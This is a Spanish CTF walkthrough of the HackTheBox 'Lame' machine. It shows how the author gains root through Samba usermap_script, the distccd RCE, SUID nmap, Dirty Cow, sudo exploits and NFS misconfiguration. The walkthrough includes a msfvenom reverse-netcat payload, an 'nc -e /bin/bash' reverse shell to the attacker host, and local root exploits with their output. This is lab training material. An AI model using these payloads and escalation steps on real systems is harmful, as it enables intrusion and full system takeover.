HackTheBox - Lame (Guía)

Primera máquina perteneciente al "Beginner Track" de Hackthebox.


En esta máquina abordaremos todos los exploits que he sido capaz de encontrar y que van más allá de sacar #root.



Recordad que podéis pinchar en los comandos para ver una explicación más detallada de lo que ocurre al ejecutarlos.


Cuándo veáis 💀MODO HARDCORE💀 quiere decir qué encontraréis exploits o métodos que van más allá del scope de la máquina pero que encuentro muy interesante de aprender y de enseñaros puesto que opino que aumenta notablemente la habilidad a la hora de comprometer otras máquinas más complejas más adelante.


Let's do this!!


Índice



Enumeración (Pre-Explotación)

Comenzamos con un escaneo estándar de Nmap



Puertos y servicios con Nmap

Ejecutamos nuestro primer escaneo:

sudo nmap -A -T5 -n -vv $IPHOST -oX nmap_aggressive


Tenemos un servicio FTP corriendo en el puerto 21 con acceso a login anónimo.

También vemos dos versiones de SMB en el puerto 139 y 445. Parece que podremos intentar logearnos por el SMBv1 a través del puerto 139.


Lanzamos un script de vulnerabilidad general para ver más detalles:

sudo nmap -p21,22,139,445 -vv --script=vuln -oX nmap_Vuln $IPHOST

Con el reporte en la mano, pasamos a enumerar cada servicio interesante de manera individual.



Enumerando FTP

Ejecutamos los scripts disponibles contra FTP en Nmap:

nmap --script ftp-* -p21 -vv -oX nmap_ftp $IPHOST

No obtenemos ningún resultado interesante que no sepamos ya.


Vamos a intentar buscar algo de donde tirar buscando la versión del servicio, en este caso vsftpd 2.3.4


Encontramos un exploit que llama la atención. Pese a que viene ya implementado con Metasploit, vamos a apuntarlo para intentar explotarlo más tarde de manera manual.



Enumerando SMB

Intentamos sacar más información usando enum4linux:

enum4linux -a $IPHOST | tee enum4linux    

No hemos tenido suerte, así que nos toca seguir investigando.


 ========================== 
|    Target Information    |
 ========================== 
Target ........... 10.10.10.3
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ================================================== 
|    Enumerating Workgroup/Domain on 10.10.10.3    |
 ================================================== 
[E] Can't find workgroup/domain


 ========================================== 
|    Nbtstat Information for 10.10.10.3    |
 ========================================== 
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 437.
Looking up status of 10.10.10.3
No reply from 10.10.10.3

 =================================== 
|    Session Check on 10.10.10.3    |
 =================================== 
[E] Server doesn't allow session using username '', password ''.  Aborting remainder of tests.

Volvemos ligeramente sobre nuestros pasos y dejando la enumeración a un lado, intentamos conectarnos sin especificar usuario teniendo en cuenta el resultado que nos dio nuestro primer análisis con Nmap.


Para ello vamos a usar el smbclient de impacket:

impacket-smbclient @$IPHOST

Estamos dentro y pasamos a listar los distintos shares.


Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

Type help for list of commands
# shares
print$
tmp
opt
IPC$
ADMIN$
# 

Llegados a este punto, empecé a mosquearme bastante con el hecho de que enum4linux y comandos básicos de SMB no devolvieran nada útil, contando con que Nmap nos mostró al inicio que el servicio estaba abierto para el SMBv1. Si estás usando una versión de Kali reciente, el problema está en que muchos de los scripts y servicios que interactúan con samba, lo hacen con la versión 2, dejando de lado totalmente la versión SMBv1.


Para solucionar este problema, hay que añadir una línea bajo la categoría "global" en el archivo "/etc/samba/smb.conf":

client min protocol = NT1

Volvemos a ejecutar enum4linux, y bingo, ahora si nos da cosas interesantes


user:[games] rid:[0x3f2]
user:[nobody] rid:[0x1f5]
user:[bind] rid:[0x4ba]
user:[proxy] rid:[0x402]
user:[syslog] rid:[0x4b4]
user:[user] rid:[0xbba]
user:[www-data] rid:[0x42a]
user:[root] rid:[0x3e8]
user:[news] rid:[0x3fa]
user:[postgres] rid:[0x4c0]
user:[bin] rid:[0x3ec]
user:[mail] rid:[0x3f8]
user:[distccd] rid:[0x4c6]
user:[proftpd] rid:[0x4ca]
user:[dhcp] rid:[0x4b2]
user:[daemon] rid:[0x3ea]
user:[sshd] rid:[0x4b8]
user:[man] rid:[0x3f4]
user:[lp] rid:[0x3f6]
user:[mysql] rid:[0x4c2]
user:[gnats] rid:[0x43a]
user:[libuuid] rid:[0x4b0]
user:[backup] rid:[0x42c]
user:[msfadmin] rid:[0xbb8]
user:[telnetd] rid:[0x4c8]
user:[sys] rid:[0x3ee]
user:[klog] rid:[0x4b6]
user:[postfix] rid:[0x4bc]
user:[service] rid:[0xbbc]
user:[list] rid:[0x434]
user:[irc] rid:[0x436]
user:[ftp] rid:[0x4be]
user:[tomcat55] rid:[0x4c4]
user:[sync] rid:[0x3f0]
user:[uucp] rid:[0x3fc]

 ======================================= 
|    Share Enumeration on 10.10.10.3    |
 ======================================= 

	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	tmp             Disk      oh noes!
	opt             Disk      
	IPC$            IPC       IPC Service (lame server (Samba 3.0.20-Debian))
	ADMIN$          IPC       IPC Service (lame server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.

Ahora si, hemos podido enumerar usuarios y los shares.


¿Podríamos haber entrado directamente como guests y sacar el share "/tmp"? Por supuesto, pero gracias a nuestro instinto, hemos solucionado un problema en nuestro archivo de configuración que de otro modo habríamos pasado por alto, y sobre todo recordad:


En algún momento no será tan evidente ni tan fácil, y ahí comportamientos como este, dónde os peleais por sacar el detalle, os salvará literalmente el culo.

Con los deberes hechos, ahora si entramos a por el SMB:

smbclient //$IPHOST/tmp

Para descargar todo el contenido que nos sea permitido:

smbclient '\\server\share'
mask ""
recurse ON
prompt OFF
cd 'path\to\remote\dir'
lcd '~/path/to/download/to/'
mget *

Nos llama la atención un archivo llamado "vgauthsvclog.txt.0" y una carpeta llamada "vmware-root" la cual no nos deja ver lo que hay dentro.


El archivo "vgauthsvclog.txt.0" no nos dice nada a simple vista. Tras un rato investigando y puesto que se trata de un directorio "/tmp" es muy posible que esté puesto como señuelo.


Pasamos a intentar buscar un exploit para la versión del servicio.



Ahí tenemos al exploit candidato, con ejecución de comandos remota.


Tomamos nota de ello y lo guardamos para pasar a la acción.



Enumerando Distccd

Si seguís leyendo hasta el final, veréis que el descubrimiento de este servicio ha sido totalmente fortuito. En la parte del "Modo Hardcore" encontraréis cómo y por qué lo saqué.


Líneas más abajo, encontraréis también como vamos a explotarlo.




Resumen de Vulnerabilidades (Pre-Explotación)

Hemos localizado dos posibles vulnerabilidades. Vamos a ver si han sido falsos positivos y sobre todo, distintas maneras de explotarlas.



Explotando vsFTPd 2.3.4

Dada mi corta experiencia no tenía conocimiento de este "infamous" exploit, pero por lo visto es bastante conocido.


Se trata de un backdoor que fue añadido al ejecutable base de la versión 2.3.4 entre el 30 de Junio y el 1 de Julio de 2011 según la información del exploit. Fue eliminado el 3 de Julio del mismo año.


Vamos primeramente a probar el exploit de manera manual mediante una versión escrita en python en github


Ejecutamos el exploit:

└─$ python3 ahervias77.py $RHOST $RPORT whoami
[*] Attempting to trigger backdoor...
[+] Triggered backdoor
[*] Attempting to connect to backdoor...

Tras una larga espera, vemos que no reacciona.


Para confirmar que no es problema de la versión de github, vamos a probar con metasploit:

└─$ msfconsole -q 
msf6 > search ftp 2.3.4

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor

Vemos que la calidad del exploit está marcada como "excelente", por lo que si todo está correcto, debería funcionar.


Configuramos todos los parámetros y lanzamos el exploit:

[*] 10.10.10.3:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.10.10.3:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.

Vemos que por algún motivo que aún desconocemos, el exploit no logra completarse satisfactoriamente.


Dado que no ha funcionado de manera manual ni usando metasploit, pasamos a nuestro siguiente intento con el SMB, pero anotamos la incidencia para averiguar porque pese a cumplir con la versión de FTP correspondiente, el exploit no ha sido exitoso.



Explotando SMB 3.0.20

Hemos localizado varias vulnerabilidades que entrarían dentro de esta versión, pero nos interesa especialmente una que permite la ejecución de código.


Esta vulnerabilidad se aprovecha de la opción en la configuración llamada "username map script" para ejecutar código especificando un nombre de usuario que contenga caracteres de shell.


Tenemos dos maneras de explotarlo: Con metasploit y de manera manual.


Vamos primeramente a lanzarlo con metasploit para confirmar que el exploit funciona:

msf6 > search samba 3.0.20

Matching Modules
================

   #  Name                                Disclosure Date  Rank       Check  Description
   -  ----                                ---------------  ----       -----  -----------
   0  exploit/multi/samba/usermap_script  2007-05-14       excellent  No     Samba "username map script" Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script

Dejamos todo configurado y lanzamos el exploit


No os olvidéis de configurar el parámetro LHOST como corresponda con vuestra máquina

Y el exploit ha funcionado correctamente. Máquina #ROOTED

msf6 exploit(multi/samba/usermap_script) > exploit

[*] Started reverse TCP handler on 10.10.14.19:4444 
[*] Command shell session 1 opened (10.10.14.19:4444 -> 10.10.10.3:59233) at 2021-08-08 17:54:36 +0200

whoami
root

Ahora que sabemos que el exploit funciona. Vamos a lanzarlo de manera manual sin metasploit.


Las flags están dentro de "/home/makis/user.txt" y "/root/root.txt"

Descargamos el exploit versión python desde github


El exploit está basado en la versión para metasploit. Usa una payload configurada con msfvenom y la lanza mediante el módulo "smb.SMBConnection" de python.


Lo primero que debemos hacer es atender al código comentado que hace referencia a la payload:

# Shellcode: 
# msfvenom -p cmd/unix/reverse_netcat LHOST=$LHOST LPORT=$LPORT -f python

Lo único que debemos hacer es ejecutar nuestra propia payload mediante msfvenom con los mismos parámetros pero modificando los datos de conexión:


Fabricamos nuestra propia payload:

msfvenom -p cmd/unix/reverse_netcat LHOST=$LHOST LPORT=$LPORT -f python

Esto nos mostrará nuestra payload lista para implementarla en el script de python:

buf =  b""
buf += b"\x6d\x6b\x66\x69\x66\x6f\x20\x2f\x74\x6d\x70\x2f\x64"
buf += b"\x77\x67\x71\x75\x3b\x20\x6e\x63\x20\x31\x30\x2e\x31"
buf += b"\x30\x2e\x31\x34\x2e\x31\x39\x20\x36\x36\x36\x36\x20"
buf += b"\x30\x3c\x2f\x74\x6d\x70\x2f\x64\x77\x67\x71\x75\x20"
buf += b"\x7c\x20\x2f\x62\x69\x6e\x2f\x73\x68\x20\x3e\x2f\x74"
buf += b"\x6d\x70\x2f\x64\x77\x67\x71\x75\x20\x32\x3e\x26\x31"
buf += b"\x3b\x20\x72\x6d\x20\x2f\x74\x6d\x70\x2f\x64\x77\x67"
buf += b"\x71\x75"

Ahora solo tenemos que sustituir la payload por default por nuestra payload recién sacada con msfvenom.


Antes de lanzar el exploit debemos configurar un listener en el puerto que hemos especificado previamente en nuestra payload.


Cuando tengamos todo listo podremos ejecutar el exploit.


Os recomiendo que a la hora de lanzar exploits con python y tengáis que instalar varios paquetes/módulos, uséis un entorno virtual con la versión de python exacta que requiere dicho exploit. Más información aquí

whoami
root
id
uid=0(root) gid=0(root)
pwd
/

Estamos dentro, y de manera manual sin metasploit.



Explotando Distccd

Investigando he localizado un exploit que se lanza con metasploit, pero no vamos a utilizarlo. Vamos a intentar acceder al sistema remoto de manera manual.


Haciendo uso de "searchsploit" no conseguimos nada relevante, pero buscando por la red llegué a este script escrito en python.


El script nos permite ejecutar un código remoto y obtener acceso mediante una shell de bajo privilegio (daemon).


Para lanzar el exploit:

python distccd_rce_CVE-2004-2687.py -t $RHOST -p $RPORT -c "nc $LHOST $LPORT -e /bin/bash" 

Y tenemos jackpot:



💀 MODO HARDCORE: Enumeración (Post-Explotación) 💀


La máquina ya está rooteada llegados a este punto usando el exploit de SMB y todo lo que leeréis de aquí en adelante está fuera del scope de la máquina, pero como sabéis, me gusta intentar buscar todos los huecos que mi nivel me permita. Así que aquí os traigo las diferentes maneras que he conseguido de obtener explotar el sistema partiendo del usuario "www-data".



Elevando nuestra reverse shell a una shell interactiva

Lo primero que haremos será convertir nuestra shell en una shell interactiva independientemente del método que hayamos usado para conseguir una shell:

python -c 'import pty; pty.spawn("/bin/bash")'
CTRL+Z
stty raw -echo; fg
ls
export SHELL=/bin/bash; export TERM=screen

Ahora nos logueamos con el usuario "www-data":

su www-data


Enumerando el sistema con LinEnum & Linpeas

Creamos un servidor http con python en nuestra máquina atacante:

python3 -m http.server 9090                   

Ahora que ya tenemos ambos scripts en el directorio "/tmp" de la máquina víctima, los ejecutamos.


Si atendemos al reporte, veremos que hay el binario de "/usr/bin/nmap" está configurado como SUID, lo que seguramente nos de acceso root, aún por confirmar.


También observamos que el NFS está configurado como "no_root_squash", lo que en caso de estar habilitado el servicio (qué seguramente me de problemas), podríamos abusar de este fallo de configuración y escalar privilegios.


La versión de sudo pese a estar en el listado de exploits, no he encontrado ninguno que funcione correctamente desde el user "www-data", pero si que funciona desde el user "makis".


Por último, intentaremos escalar utilizando el exploit conocido como "Dirty Cow", que ataca directamente al kernel.




💀MODO HARDCORE: Resumen de Vulnerabilidades (Post-Explotación)💀


Y a continuación el listado de vulnerabilidades que he visto viables



Nmap configurado con SUID

Vimos en el informe de "linpeas" que el binario de Nmap estaba configurado con el SUID. Vamos a intentar escalar a root aprovechando el hueco. Para ello lo que debemos hacer es ejecutar Nmap en modo interactivo, y a partir de ahí, ejecutar una shell desde dentro:

/usr/bin/nmap --interactive
!sh

Y bingo, estamos dentro como root

Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
sh-3.2# whoami
root
sh-3.2# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)


Kernel 'Dirty Cow'

Vamos a usar el infamous 'Dirty Cow (copy-on-write)' para escalar privilegios.

Bajamos el exploit y lo pasamos a la máquina víctima sin compilar.


Podéis usar el servidor http con python3 para transferir el archivo

Una vez en el directorio "/tmp" de la máquina víctima, lo compilamos:

gcc -pthread dirty.c -o dirty -lcrypt

Y lo ejecutamos:

Lo tenemos.


Hemos modificado el archivo "/etc/passwd" y hemos sustituido el usuario "root" por nuestro propio usuario "firefart".


Podéis comprobarlo haciendo login con el nuevo usuario usando la contraseña que le habéis proporcionado al exploit.



Sudo 1.6.9p10

En este caso hemos recopilado el exploit 7129 y el 11651.


Tras pasarlos a la máquina víctima y ejecutarlos, no hemos tenido suerte puesto que no tenemos la contraseña del usuario "www-data" en primera instancia (algo de lo que ya nos avisa el propio exploit).


Si hacemos un poco de "trampa" (eh, al fin y al cabo somos lo que somos, por eso estamos aquí, no? ;P) y cambiamos la contraseña del user "www-data", probamos de nuevo, y lo que obtenemos es que el usuario "www-data" no es miembro del grupo sudoers.


Pero... ¿y si probamos lo mismo con el usuario local "makis"? En esta ocasión, si ejecutamos el script y le proporcionamos un archivo que podamos editar...

sh-3.2$ ./11651.sh.1 sudoedit 
Tod Miller Sudo local root exploit
by Slouching
automated by kingcope
chmod: changing permissions of `./sudoedit': Operation not permitted
[sudo] password for makis: 
ALEX-ALEX
root@lame:/tmp# whoami
root
root@lame:/tmp# 

El script parece que ha funcionado y obtenemos #root


Probamos lo mismo con el otro exploit que localizamos y repetimos la operación

sh-3.2$ ./7129.sh.1 
Sudo <= 1.6.9p18 local r00t exploit
by Kingcope/2008/www.com-winner.com
Please give me a program to run via sudo.
Allowed programs:
User makis may run the following commands on this host:
    (ALL) ALL
sh-3.2$ ./7129.sh.1 /usr/bin/nmap
Sudo <= 1.6.9p18 local r00t exploit
by Kingcope/2008/www.com-winner.com
./7129.sh.1: line 22: [/usr/bin/nmap: No such file or directory
xxxx.c: In function ‘main’:
xxxx.c:4: warning: incompatible implicit declaration of built-in function ‘execl’
CONGRATULATIONS, IT'S A ROOTSHELL!
sh-3.2# whoami
root

De nuevo, parece que funciona y obtenemos #root.



NFS no_root_squash

Por último, en el reporte de linpeas vimos como el NFS estaba configurado con "no_root_squash".


Podemos confirmarlo si examinamos el archivo "/etc/exports" qué nos mostrará lo siguiente:

# /etc/exports: the access control list for filesystems which may be exported
#		to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes       hostname1(rw,sync) hostname2(ro,sync)
#
# Example for NFSv4:
# /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt)
# /srv/nfs4/homes  gss/krb5i(rw,sync)
#

/	*(rw,sync,no_root_squash,no_subtree_check)

Básicamente, lo que podríamos hacer es montar en nuestra máquina como root, el directorio que nos muestra ahí, y añadir un script configurado como SUID. De esa manera, al volver a la máquina víctima, podríamos ejecutar dicho script y podríamos obtener root ya que el parámetro "no_root_squash" no impediría el exploit.


Aún no estoy muy hábil montando puntos de red, así que intentando levantar los procesos necesarios para llevar a cabo este exploit, encontré otro punto interesante, y es que, haciendo un escaneo rápido enumerando con Nmap todos los puertos para ver si había conseguido abrir el correspondiente rpcbind, me encontré con el puerto 3632 corriendo el servicio "distccd", el cuál había pasado totalmente desapercibido en mis escaneos al inicio.


No he conseguido explotar la vulnerabilidad del "no_root_squash" pero si que he conseguido encontrar otra manera de alcanzar una shell gracias a este nuevo servicio.


Podéis leerlo en la sección de Pre-Explotación (Distccd)



SSH authorized keys

Si recordáis el reporte de linpeas, había un pequeño apartado que resultaba interesante:

SSH keys/host information found in the following locations:
-rw-r--r-- 1 root root 442 2012-05-20 14:21 /root/.ssh/known_hosts
-rw-r--r-- 1 root root 405 2010-05-17 21:44 /root/.ssh/authorized_keys

No tenemos acceso a la flag de root, pero si que podemos leer el contenido del directorio ".ssh". Dentro se encuentra la clave pública del usuario root.


No voy a desarrollar esta entrada aquí, pero podríamos mediante este repositorio podríamos intentar explotar la vulnerabilidad CV-2008-0166 que permite hacer ataques de fuerza bruta contra claves privadas que tienen una generación de números aleatorios predecibles


Os dejo por aquí la pista y el repositorio. (El exploit funciona, probadlo)

https://github.com/g0tmi1k/debian-ssh